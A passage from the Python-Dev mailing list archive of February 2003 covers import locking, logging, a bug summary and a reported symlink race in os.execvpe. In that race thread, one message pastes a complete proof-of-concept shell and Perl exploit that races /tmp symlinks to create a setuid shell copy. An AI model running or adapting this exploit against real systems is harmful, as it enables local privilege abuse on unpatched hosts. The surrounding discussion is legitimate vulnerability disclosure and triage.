> here, in any form, is copyright property of Access-=-Denied Networks.
> 
> 
> Acknowledgements
> ----------------
> 
> Discovery and proof of concept code by MzOzD
> Email at mzozd@ad2u.gr
> 
> 
> REFERENCES
> ----------
> 
> RHSA-2002:202-33.txt ADVISORY
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=156556
> http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1119

----- End forwarded message -----

-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From zack@codesourcery.com  Sun Feb 16 07:43:18 2003
From: zack@codesourcery.com (Zack Weinberg)
Date: Sat, 15 Feb 2003 23:43:18 -0800
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <20030216044319.GB1680@panix.com> (Aahz's message of "Sat, 15
 Feb 2003 23:43:19 -0500")
References: <20030216044319.GB1680@panix.com>
Message-ID: <87znowpt61.fsf@egil.codesourcery.com>

Aahz <aahz@pythoncraft.com> writes:

> Not sure what to do about this, but I don't have the time to check into
> it.
...

>> os.py at def _execvpe(file, args, env=None):
>> ********************************************
>>            import tempfile
>>            t = tempfile.mktemp()
>>            # Exec a file that is guaranteed not to exist
>>            try: execv(t, ('blah',))
>>            except error, _notfound: pass
>> 
>> It is possible, to create a link of the file to be executed (t) in the 
>> limited time window between the statements
>> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are 
>> executed.

That is exactly the signature of one of the tempfile bugs that I
fixed.  I do not know whether any official 2.2.x release has yet
occurred that includes the bugfix.

zw


From mal@lemburg.com  Sun Feb 16 09:49:30 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sun, 16 Feb 2003 10:49:30 +0100
Subject: [Python-Dev] Import lock knowledge required!
In-Reply-To: <FB2CB860-4102-11D7-83DC-000A27B19B96@oratrix.com>
References: <FB2CB860-4102-11D7-83DC-000A27B19B96@oratrix.com>
Message-ID: <3E4F5EAA.5090307@lemburg.com>

Jack Jansen wrote:
> 
> On zaterdag, feb 15, 2003, at 16:49 Europe/Amsterdam, M.-A. Lemburg wrote:
> 
>> I think we're running into a similar bootstrap problem as
>> we did when we had exceptions coded in Python. The solution
>> back then was to recode it in C. Perhaps the warnings module
>> should get the same treatment ?!
> 
> 
> There are other modules with the same potential problem. For instance, 
> the code that
> prints MacOS error messages imports a Python module to get at the texts 
> of the
> messages. I haven't had any reports of deadlocks, but I haven't looked 
> for them
> either, so it may be possible this code gets called with the import lock 
> held.
> 
> And at first glance code using cobject's PyCobject_import() may be at 
> risk too (only at first
> glance: I didn't check to see whether such code is ever executed with 
> with import lock held).

I wonder whether a general lock such as the one used in import
is such a good idea. Perhaps it should only lock the importing
of a specific module, keeping the locks in a dictionary indexed by
module name instead of a static C variable ?!

Then again it's hard to know the real name of the module being
searched before finding it...

I see a more general problem here: the lock prevent starting
up threaded applications which use client-server logic between
the threads. If the application's main thread starts a client
thread as a result of an import which then tries to import
other Python modules, you have a deadlock. (At least that's how
I understand the current implementation.)

Don't know about others, but I frequently use the idiom of
placing the server's main code in a separate module and then
have small startup script importing this module. This kind
of setup is also advertised for CGI programs, so it may not
be uncommon out there.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 16 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     44 days left
EuroPython 2003, Charleroi, Belgium:                       128 days left



From skip@manatee.mojam.com  Sun Feb 16 13:00:24 2003
From: skip@manatee.mojam.com (Skip Montanaro)
Date: Sun, 16 Feb 2003 07:00:24 -0600
Subject: [Python-Dev] Weekly Python Bug/Patch Summary
Message-ID: <200302161300.h1GD0O6m014542@manatee.mojam.com>

Bug/Patch Summary
-----------------

336 open / 3332 total bugs (no change)
127 open / 1982 total patches (+6)

New Bugs
--------

Whats new: Obligatory source code encodings if not ASCII (2003-02-09)
	http://python.org/sf/683416
Tutorial: info on Source Code Encoding is missing (2003-02-09)
	http://python.org/sf/683486
PyErr_Warn may cause import deadlock (2003-02-09)
	http://python.org/sf/683658
HTMLParser attribute parsing bug (2003-02-10)
	http://python.org/sf/683938
Freeze can not be made to exclude implicits (2003-02-11)
	http://python.org/sf/684679
socket module on solaris (2003-02-11)
	http://python.org/sf/684903
IDE asks for attention when quitting (2003-02-11)
	http://python.org/sf/684975
bundlebuilder and spaces in filenames (2003-02-12)
	http://python.org/sf/685373
python-mode loops on if/else (2003-02-12)
	http://python.org/sf/685465
2 (more) bugs in turtle (2003-02-12)
	http://python.org/sf/685773
turtle circle() documentation error (2003-02-12)
	http://python.org/sf/685775
raw_input defers alarm signal (2003-02-13)
	http://python.org/sf/685846
os.spawnv(P_WAIT, ...) on Linux doesn't handle EINTR (2003-02-14)
	http://python.org/sf/686667
Profilier hooked into SystemExit (2003-02-15)
	http://python.org/sf/687297

New Patches
-----------

unicode support for os.listdir() (2003-02-09)
	http://python.org/sf/683592
Add download_url to setup() (2003-02-10)
	http://python.org/sf/683939
AutoThreadState implementation (2003-02-10)
	http://python.org/sf/684256
Fix for verbosity (2003-02-10)
	http://python.org/sf/684398
extending readline functionality (2003-02-11)
	http://python.org/sf/684500
Allow freeze to exclude implicits (2003-02-11)
	http://python.org/sf/684677
extend readline functionality in pdb (2003-02-11)
	http://python.org/sf/684944
fix for bug 501716 (2003-02-11)
	http://python.org/sf/684981
fix for 680789: reprs in arraymodule (2003-02-11)
	http://python.org/sf/685051
imputil must respect __path__ for package submodules (2003-02-12)
	http://python.org/sf/685268
logging.handlers.SMTPHandler and single 'to' address (2003-02-13)
	http://python.org/sf/686379
add os.sep and friends to os.path (2003-02-13)
	http://python.org/sf/686397
Add addition and moving messages to Maildir (2003-02-14)
	http://python.org/sf/686545
Remove unncessary casts for PyEval_GetFrame() (2003-02-14)
	http://python.org/sf/686601

Closed Bugs
-----------

Missing trailing newline should not raise SyntaxError (2002-01-09)
	http://python.org/sf/501622
pty.fork problem (2002-02-07)
	http://python.org/sf/514345
isinstance() should respect __class__ (2002-03-20)
	http://python.org/sf/532767
import lock should be exposed (2002-07-13)
	http://python.org/sf/580952
sys.executable in applets (2002-10-19)
	http://python.org/sf/625728
Instantiation init-less class with param (2002-11-14)
	http://python.org/sf/638610
socket.inet_aton("255.255.255.255") (2002-11-24)
	http://python.org/sf/643005
-hex/oct const generates wrong code (2002-12-31)
	http://python.org/sf/660455
sets module review (2003-01-07)
	http://python.org/sf/663701
Another parsermodule validation error (2003-01-31)
	http://python.org/sf/678518
'compile' refuses BOM. (2003-02-03)
	http://python.org/sf/679880
__module__ broken for extension classes (2003-02-04)
	http://python.org/sf/680429
C subtypes do not inherit tp_as_buffer (2003-02-05)
	http://python.org/sf/681367
Source encoding rules are extreme. (2003-02-06)
	http://python.org/sf/681960

Closed Patches
--------------

handle unary op of constant in transformer.py (2003-01-03)
	http://python.org/sf/661536
BZ2File leaking fd and memory (2003-01-03)
	http://python.org/sf/661796
Compile _randommodule.c and datetimemodule.c under cygwin (2003-01-20)
	http://python.org/sf/671176
extending readline functionality (2003-01-27)
	http://python.org/sf/675551
Cygwin array module patch (2003-01-29)
	http://python.org/sf/676837
Cygwin _iconv_codec module patch (2003-01-29)
	http://python.org/sf/676839
improved readline usage in pdb (2003-01-30)
	http://python.org/sf/677719
Fix for the bug #679880: 'compile' refuses BOM. (2003-02-04)
	http://python.org/sf/680474
lookbehind tests (2003-02-07)
	http://python.org/sf/682432
Patch for bug 580952: import lock should be exposed (2003-02-08)
	http://python.org/sf/683257


From vinay_sajip@red-dove.com  Sun Feb 16 15:19:55 2003
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Sun, 16 Feb 2003 15:19:55 -0000
Subject: [Python-Dev] Changes to logging
References: <000501c2d4ed$fec5aaa0$652b6992@alpha> <3E4E5FE6.6080605@lemburg.com>
Message-ID: <003c01c2d5ce$dda12520$652b6992@alpha>

> You should use sys.getdefaultencoding() for this. Python's default
> encoding is "ascii", BTW, not "latin-1".
>

OK, but supposing I log a message with the format string u"Marc-Andr\xe9".
If I use "ascii" as the encoding, an exception is raised because the code
for e-acute is > 128. How best should this situation be handled? I assumed
that people would be using Unicode to log messages in other languages with
accented characters etc. which are typically outside the ASCII range.

Regards,

Vinay Sajip



From aahz@pythoncraft.com  Sun Feb 16 15:21:17 2003
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 16 Feb 2003 10:21:17 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <87znowpt61.fsf@egil.codesourcery.com>
References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com>
Message-ID: <20030216152117.GA28373@panix.com>

> >> It is possible, to create a link of the file to be executed (t) in the 
> >> limited time window between the statements
> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are 
> >> executed.
> 
> That is exactly the signature of one of the tempfile bugs that I
> fixed.  I do not know whether any official 2.2.x release has yet
> occurred that includes the bugfix.

That's what I suspected.  Did you check that into the 2.2.x maint
branch?  (I remember that you did, but I'm triple-checking.)
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From zack@codesourcery.com  Sun Feb 16 17:31:21 2003
From: zack@codesourcery.com (Zack Weinberg)
Date: Sun, 16 Feb 2003 09:31:21 -0800
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <20030216152117.GA28373@panix.com> (Aahz's message of "Sun, 16
 Feb 2003 10:21:17 -0500")
References: <20030216044319.GB1680@panix.com>
 <87znowpt61.fsf@egil.codesourcery.com>
 <20030216152117.GA28373@panix.com>
Message-ID: <87of5cb09i.fsf@egil.codesourcery.com>

Aahz <aahz@pythoncraft.com> writes:

>> >> It is possible, to create a link of the file to be executed (t) in the 
>> >> limited time window between the statements
>> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are 
>> >> executed.
>> 
>> That is exactly the signature of one of the tempfile bugs that I
>> fixed.  I do not know whether any official 2.2.x release has yet
>> occurred that includes the bugfix.
>
> That's what I suspected.  Did you check that into the 2.2.x maint
> branch?  (I remember that you did, but I'm triple-checking.)

I don't have write privileges.  I thought that it was checked into the
2.2.x maint branch but I don't actually know.

zw


From mal@lemburg.com  Sun Feb 16 17:32:49 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Sun, 16 Feb 2003 18:32:49 +0100
Subject: [Python-Dev] Changes to logging
In-Reply-To: <003c01c2d5ce$dda12520$652b6992@alpha>
References: <000501c2d4ed$fec5aaa0$652b6992@alpha>	<3E4E5FE6.6080605@lemburg.com> <003c01c2d5ce$dda12520$652b6992@alpha>
Message-ID: <3E4FCB41.6060402@lemburg.com>

Vinay Sajip wrote:
>>You should use sys.getdefaultencoding() for this. Python's default
>>encoding is "ascii", BTW, not "latin-1".
>>
> 
> OK, but supposing I log a message with the format string u"Marc-Andr\xe9".
> If I use "ascii" as the encoding, an exception is raised because the code
> for e-acute is > 128. How best should this situation be handled? I assumed
> that people would be using Unicode to log messages in other languages with
> accented characters etc. which are typically outside the ASCII range.

I don't know how you have implemented logging to files or stream,
but in general it's better to let the stream get the Unicode
and let it decide what to do, e.g. you could have a log file open
in 'latin-1' mode (via codecs.open()) and then see log entries
as Latin-1.

To make things a little more robust (ie. to prevent the log message
from getting lost), I'd suggest to use try: except UnicodeError:
around the log writing code. The except clause should then encode
the log message to UTF-8 and write the 8-bit string in a second try.

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Software directly from the Source  (#1, Feb 16 2003)
 >>> Python/Zope Products & Consulting ...         http://www.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________
Python UK 2003, Oxford:                                     44 days left
EuroPython 2003, Charleroi, Belgium:                       128 days left



From aahz@pythoncraft.com  Sun Feb 16 17:34:22 2003
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 16 Feb 2003 12:34:22 -0500
Subject: [Python-Dev] Re: execve vulnerability
In-Reply-To: <E4D6C043-41D1-11D7-A5EB-000393877AE4@codefab.com>
References: <E4D6C043-41D1-11D7-A5EB-000393877AE4@codefab.com>
Message-ID: <20030216173422.GA24241@panix.com>

On Sun, Feb 16, 2003, Bill Bumgarner wrote:
>
> Can you please let me know if the fix is in the maintenance branch of 
> 2.2 and which version it is present in?
> 
> I need to make a recommendation to Apple as to how to deal with this 
> issue -- knowing the exact tree to grab would be very helpful.

This seems like a good reason to issue 2.2.3.  Per PEP 6, we need a
Patch Czar to champion it.  Anyone want to take it up?
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From guido@python.org  Sun Feb 16 17:45:24 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 16 Feb 2003 12:45:24 -0500
Subject: [Python-Dev] Import lock knowledge required!
In-Reply-To: Your message of "Sun, 16 Feb 2003 10:49:30 +0100."
 <3E4F5EAA.5090307@lemburg.com>
References: <FB2CB860-4102-11D7-83DC-000A27B19B96@oratrix.com>
 <3E4F5EAA.5090307@lemburg.com>
Message-ID: <200302161745.h1GHjOD12779@pcp02138704pcs.reston01.va.comcast.net>

[MAL]
> I wonder whether a general lock such as the one used in import
> is such a good idea. Perhaps it should only lock the importing
> of a specific module, keeping the locks in a dictionary indexed by
> module name instead of a static C variable ?!

I've been thinking along the same lines.  We could make the import
locking much finer-grained, and limit the blocking only to threads
that are importing a module that is in the middle of being loaded by
some other thread.

But this is hard work, and I suggest that we put this off until Python
2.4 so we can do it right.

> Then again it's hard to know the real name of the module being
> searched before finding it...

There could be a short-lived lock for that problem.

> I see a more general problem here: the lock prevent starting
> up threaded applications which use client-server logic between
> the threads. If the application's main thread starts a client
> thread as a result of an import which then tries to import
> other Python modules, you have a deadlock. (At least that's how
> I understand the current implementation.)

Correct.

> Don't know about others, but I frequently use the idiom of
> placing the server's main code in a separate module and then
> have small startup script importing this module. This kind
> of setup is also advertised for CGI programs, so it may not
> be uncommon out there.

We had this problem with Zope2 -- I don't know why the import lock
didn't bite us before, but we decided to change the Zope startup code
so that you have to import Zope first and then, separately, make a
call to start it.  You could do the same for your application, and I
recommend that Mark does the same for his.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Feb 16 17:51:24 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 16 Feb 2003 12:51:24 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: Your message of "Sun, 16 Feb 2003 09:31:21 PST."
 <87of5cb09i.fsf@egil.codesourcery.com>
References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com>
 <87of5cb09i.fsf@egil.codesourcery.com>
Message-ID: <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net>

[Aahz, quoting an anonymous security report]
> >> >> It is possible, to create a link of the file to be executed
> >> >> (t) in the limited time window between the statements
> >> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in
> >> >> os.py are executed.

[Zack]
> >> That is exactly the signature of one of the tempfile bugs that I
> >> fixed.  I do not know whether any official 2.2.x release has yet
> >> occurred that includes the bugfix.

[Aahz]
> > That's what I suspected.  Did you check that into the 2.2.x maint
> > branch?  (I remember that you did, but I'm triple-checking.)

[Zack]
> I don't have write privileges.  I thought that it was checked into the
> 2.2.x maint branch but I don't actually know.

Zack's changes to tempfile.py were *not* checked into Python 2.2 --
they require API changes that are difficult to justify.  (The changes
by Zack that you remember being checked into 2.2 were execve.)

A problem with Zack's tempfile changes is that many uses of mktemp are
perfectly safe, and the warning is so annoying that I decided to
disable the warning.

I'm not quite sure what to do now.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Feb 16 17:53:18 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 16 Feb 2003 12:53:18 -0500
Subject: [Python-Dev] Re: execve vulnerability
In-Reply-To: Your message of "Sun, 16 Feb 2003 12:34:22 EST."
 <20030216173422.GA24241@panix.com>
References: <E4D6C043-41D1-11D7-A5EB-000393877AE4@codefab.com>
 <20030216173422.GA24241@panix.com>
Message-ID: <200302161753.h1GHrIS12828@pcp02138704pcs.reston01.va.comcast.net>

> On Sun, Feb 16, 2003, Bill Bumgarner wrote:
> >
> > Can you please let me know if the fix is in the maintenance branch of 
> > 2.2 and which version it is present in?
> > 
> > I need to make a recommendation to Apple as to how to deal with this 
> > issue -- knowing the exact tree to grab would be very helpful.
> 
> This seems like a good reason to issue 2.2.3.  Per PEP 6, we need a
> Patch Czar to champion it.  Anyone want to take it up?

The execve security fix is already in 2.2.2.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From zack@codesourcery.com  Sun Feb 16 17:56:12 2003
From: zack@codesourcery.com (Zack Weinberg)
Date: Sun, 16 Feb 2003 09:56:12 -0800
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net> (Guido
 van Rossum's message of "Sun, 16 Feb 2003 12:51:24 -0500")
References: <20030216044319.GB1680@panix.com>
 <87znowpt61.fsf@egil.codesourcery.com>
 <20030216152117.GA28373@panix.com>
 <87of5cb09i.fsf@egil.codesourcery.com>
 <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <87isvkaz43.fsf@egil.codesourcery.com>

Guido van Rossum <guido@python.org> writes:

> [Aahz, quoting an anonymous security report]
>> >> >> It is possible, to create a link of the file to be executed
>> >> >> (t) in the limited time window between the statements
>> >> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in
>> >> >> os.py are executed.
>
> [Zack]
>> >> That is exactly the signature of one of the tempfile bugs that I
>> >> fixed.  I do not know whether any official 2.2.x release has yet
>> >> occurred that includes the bugfix.
>
> [Aahz]
>> > That's what I suspected.  Did you check that into the 2.2.x maint
>> > branch?  (I remember that you did, but I'm triple-checking.)
>
> [Zack]
>> I don't have write privileges.  I thought that it was checked into the
>> 2.2.x maint branch but I don't actually know.
>
> Zack's changes to tempfile.py were *not* checked into Python 2.2 --
> they require API changes that are difficult to justify.  (The changes
> by Zack that you remember being checked into 2.2 were execve.)

The present report should have been addressed by the execve changes.

zw


From aahz@pythoncraft.com  Sun Feb 16 18:42:29 2003
From: aahz@pythoncraft.com (Aahz)
Date: Sun, 16 Feb 2003 13:42:29 -0500
Subject: [Python-Dev] Re: execve vulnerability
In-Reply-To: <200302161753.h1GHrIS12828@pcp02138704pcs.reston01.va.comcast.net>
References: <E4D6C043-41D1-11D7-A5EB-000393877AE4@codefab.com> <20030216173422.GA24241@panix.com> <200302161753.h1GHrIS12828@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030216184229.GA11453@panix.com>

On Sun, Feb 16, 2003, Guido van Rossum wrote:
>
> The execve security fix is already in 2.2.2.

Never mind! </litella>

I'll send a note to the reporter.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From jeremy@alum.mit.edu  Sun Feb 16 19:04:20 2003
From: jeremy@alum.mit.edu (Jeremy Hylton)
Date: 16 Feb 2003 14:04:20 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net>
References: <20030216044319.GB1680@panix.com>
 <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com>
 <87of5cb09i.fsf@egil.codesourcery.com>
 <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <1045422259.3168.20.camel@localhost.localdomain>

On Sun, 2003-02-16 at 12:51, Guido van Rossum wrote:
> Zack's changes to tempfile.py were *not* checked into Python 2.2 --
> they require API changes that are difficult to justify.  (The changes
> by Zack that you remember being checked into 2.2 were execve.)
> 
> A problem with Zack's tempfile changes is that many uses of mktemp are
> perfectly safe, and the warning is so annoying that I decided to
> disable the warning.
> 
> I'm not quite sure what to do now.

If the exec problems were fixed in 2.2, doesn't that address the
currently reported vulnerability?  I glanced at the Debian bug report
and saw that it was reporting an exploit against 2.1.3.  I see some
value in doing a 2.1.4 release, but not enough value to justify the
work.

Aren't the changes in tempfile primarily the addition of new functions
(mkstemp, mkdtemp)?  I think it would be good to backport new functions
that address security issues.  Were there changes to the behavior of
mktemp(), too?  It seems hard to justify an incompatible change to
existing functions.

Jeremy




From guido@python.org  Sun Feb 16 19:26:56 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 16 Feb 2003 14:26:56 -0500
Subject: [Python-Dev] Re: Python execvpe symlink race condition
Message-ID: <200302161927.h1GJR2213164@pcp02138704pcs.reston01.va.comcast.net>

Dear submitter,

Thanks for your vulnerability report.

The vulnerability you reported has already been fixed in Python 2.2.2,
released on October 14, 2002.  As of that version, os.execvpe() no
longer calls mktemp().

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Sun Feb 16 19:31:12 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 16 Feb 2003 14:31:12 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: Your message of "16 Feb 2003 14:04:20 EST."
 <1045422259.3168.20.camel@localhost.localdomain>
References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> <87of5cb09i.fsf@egil.codesourcery.com> <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net>
 <1045422259.3168.20.camel@localhost.localdomain>
Message-ID: <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net>

> If the exec problems were fixed in 2.2, doesn't that address the
> currently reported vulnerability?

Correct.

> I glanced at the Debian bug report and saw that it was reporting an
> exploit against 2.1.3.  I see some value in doing a 2.1.4 release,
> but not enough value to justify the work.

Same here.

> Aren't the changes in tempfile primarily the addition of new functions
> (mkstemp, mkdtemp)?  I think it would be good to backport new functions
> that address security issues.  Were there changes to the behavior of
> mktemp(), too?  It seems hard to justify an incompatible change to
> existing functions.

I think mktemp()'s API is unchanged if you don't count the warning
(which I disabled anyway).  However the name template used for
temporary files is very different -- could this affect applications?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From logi.stix@verizon.net  Sun Feb 16 21:45:17 2003
From: logi.stix@verizon.net (logistix)
Date: Sun, 16 Feb 2003 16:45:17 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <000001c2d604$b5950250$20bba8c0@XP>


> -----Original Message-----
> From: python-dev-admin@python.org [mailto:python-dev-admin@python.org]
On
> Behalf Of Guido van Rossum
> 
> > I glanced at the Debian bug report and saw that it was reporting an
> > exploit against 2.1.3.  I see some value in doing a 2.1.4 release,
> > but not enough value to justify the work.
> 
> Same here.
> 

Shouldn't there be at least some notification to the community at large?
Something that requires the least amount of work possible short of doing
nothing at all.  Like a notice that 2.1.3 has known security
vulnerabilities, and the recommended fix is to upgrade to 2.2.2 posted
on http://www.python.org/2.1/ , http://www.python.org/2.1.3/ and
python-announce.  And possibly a python-security list for the future
that security minded people can subscribe to.





From jeremy@alum.mit.edu  Sun Feb 16 21:58:52 2003
From: jeremy@alum.mit.edu (Jeremy Hylton)
Date: 16 Feb 2003 16:58:52 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net>
References: <20030216044319.GB1680@panix.com>
 <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com>
 <87of5cb09i.fsf@egil.codesourcery.com>
 <200302161751.h1GHpOA12810@pcp02138704pcs.reston01.va.comcast.net>
 <1045422259.3168.20.camel@localhost.localdomain>
 <200302161931.h1GJVCe13205@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <1045432731.2541.25.camel@localhost.localdomain>

On Sun, 2003-02-16 at 14:31, Guido van Rossum wrote:
> I think mktemp()'s API is unchanged if you don't count the warning
> (which I disabled anyway).  However the name template used for
> temporary files is very different -- could this affect applications?

It shouldn't affect any applications, but I'm sure it will.  The pattern
is so simple that there's probably code to delete tempfiles based on the
pattern.  Some unfortunate program probably uses mktemp() + re to get
the pid <0.9 wink>.

However, we can add the two new functions and have them use the new
pattern.  This won't break any existing code, but will let people fix
their programs without upgrading to 2.3.

Jeremy




From guido@python.org  Sun Feb 16 21:50:23 2003
From: guido@python.org (Guido van Rossum)
Date: Sun, 16 Feb 2003 16:50:23 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: Your message of "Sun, 16 Feb 2003 16:45:17 EST."
 <000001c2d604$b5950250$20bba8c0@XP>
References: <000001c2d604$b5950250$20bba8c0@XP>
Message-ID: <200302162150.h1GLoNJ13539@pcp02138704pcs.reston01.va.comcast.net>

> Shouldn't there be at least some notification to the community at large?
> Something that requires the least amount of work possible short of doing
> nothing at all.  Like a notice that 2.1.3 has known security
> vulnerabilities, and the recommended fix is to upgrade to 2.2.2 posted
> on http://www.python.org/2.1/ , http://www.python.org/2.1.3/ and
> python-announce.  And possibly a python-security list for the future
> that security minded people can subscribe to.

I don't think that would send the right message.  There's no need to
panic -- it's pretty tough to imagine how this vulnerability could be
exploited, but a message recommending that everyone upgrade would
not make this clear.

--Guido van Rossum (home page: http://www.python.org/~guido/)



From logi.stix@verizon.net  Sun Feb 16 23:22:32 2003
From: logi.stix@verizon.net (logistix)
Date: Sun, 16 Feb 2003 18:22:32 -0500
Subject: [Python-Dev] FWD: Python execvpe symlink race condition.
In-Reply-To: <20030216044319.GB1680@panix.com>
Message-ID: <000001c2d612$4b61c810$20bba8c0@XP>

Not to beat a dead horse, but the exploit code is published at:

http://www.ad2u.gr/index.php?topic=Exploits

It does work on my (unpatched vmware) RedHat 7.3.  Although (as the
notice stated), it creates a suidshell as the user who runs the script,
not root.  It also needs to be modified to use python2 on RedHat

Here's the code:

#!/bin/sh


echo "Python < 2.2.2 Symlink Race Condition exploit"
echo "Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003"
echo "This is a proof of concept code!!! For educational purposes only"

evilcmd="#!/bin/sh\ncp /bin/bash /tmp/.sh\nchmod 4755 /tmp/.sh\n"
status="??"

echo "Creating suidshell script"
echo -e $evilcmd > /tmp/runme.sh
chmod 755 /tmp/runme.sh

perl -e 'while (1) { open ps,"ps -ef | grep -v grep | grep -v PID |"; 
while (<ps>) {@args = split " ", $_;if (/python/) {$args[2] = "@";
symlink("/tmp/runme.sh","/tmp/$args[2]$args[1].0");}}}'&

echo "Building python file..."
echo -e "import os\nos.execvpe('echo',['echo','-n','.'],os.environ)" >
/tmp/python.py

echo "Be patient, it will take a few moments"
while [ "$status" != "ok" ] 
do
python /tmp/python.py
if test -e /tmp/.sh; then
status="ok"
fi
done

echo -e "\nYou got your suidshell..."
ls -al /tmp/.sh

echo "Cleaning environment"
killall -9 perl
rm -rf /tmp/runme.sh /tmp/*.0 /tmp/python.py



From vinay_sajip@red-dove.com  Mon Feb 17 00:51:10 2003
From: vinay_sajip@red-dove.com (Vinay Sajip)
Date: Mon, 17 Feb 2003 00:51:10 -0000
Subject: [Python-Dev] Changes to logging
References: <000501c2d4ed$fec5aaa0$652b6992@alpha>  <200302151552.h1FFqVI01618@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <004e01c2d61e$acd1f8c0$652b6992@alpha>


> > I've got a set of patches which I want to make to logging:
>
> Please upload to SF ASAP -- I'd like to do another alpha next Tuesday.
>
> Please send forward context or unified diffs relative to current
> CVS!

Uploaded, see

http://sf.net/tracker/index.php?func=detail&aid=687683&group_id=5470&atid=30
5470

I assigned it to Neal, hope that's OK.

Regards,

Vinay Sajip




From bckfnn@worldonline.dk  Mon Feb 17 08:04:14 2003
From: bckfnn@worldonline.dk (Finn Bock)
Date: Mon, 17 Feb 2003 09:04:14 +0100
Subject: [Python-Dev] CALL_ATTR, A Method Proposal
References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141801.h1EI1mJ03013@odiug.zope.com>
Message-ID: <3E50977E.3040404@worldonline.dk>

[Guido van Rossum]

 > Here's how I think the CALL_ATTR opcode should work:

Which is basicly what Jython does (except that jython does
not yet have new-style classes).

Jython also does a tiny bit of handling of non-functions.
Maybe that is usefull here too.

  >     if <obj> is a new instance:
  >        if the class's getattr policy is standard:
  >           if <name> not in <obj>.__dict__:
  >              search <obj>.__class__ and its base classes for <name>
  >              if found and the result is a Python function:
  >                  call it with arguments (<obj>, <args>) and return
  >     elif <obj> is a classic instance:
  >        if <name> not in <obj>.__dict__:
  >           search <obj>.__class__ and its base classes for <name>
  >           if found:
                   if the result is a Python function:
                       call it with arguments (<obj>, <args>) and return
                   else:
                       bind the non-function and call with (<args>)
  >     # if we get here, the optimization doesn't apply
  >     tmp = getattr(<obj>, <name>)
  >     return tmp(<args>)

regards,
finn





From mal@lemburg.com  Mon Feb 17 08:42:16 2003
From: mal@lemburg.com (M.-A. Lemburg)
Date: Mon, 17 Feb 2003 09:42:16 +0100
Subject: [Python-Dev] Re: [Python-checkins] python/dist/src/Misc NEWS,1.660,1.661
In-Reply-To: <E18kXmN-0005sW-00@sc8-pr-cvs1.sourceforge.net>
References: <E18kXmN-0005sW-00@sc8-pr-cvs1.sourceforge.net>
Message-ID: <3E50A068.5050709@lemburg.com>

Jack, please change the name of that module before it's too
late. Something like pkgman would much better fit the purpose
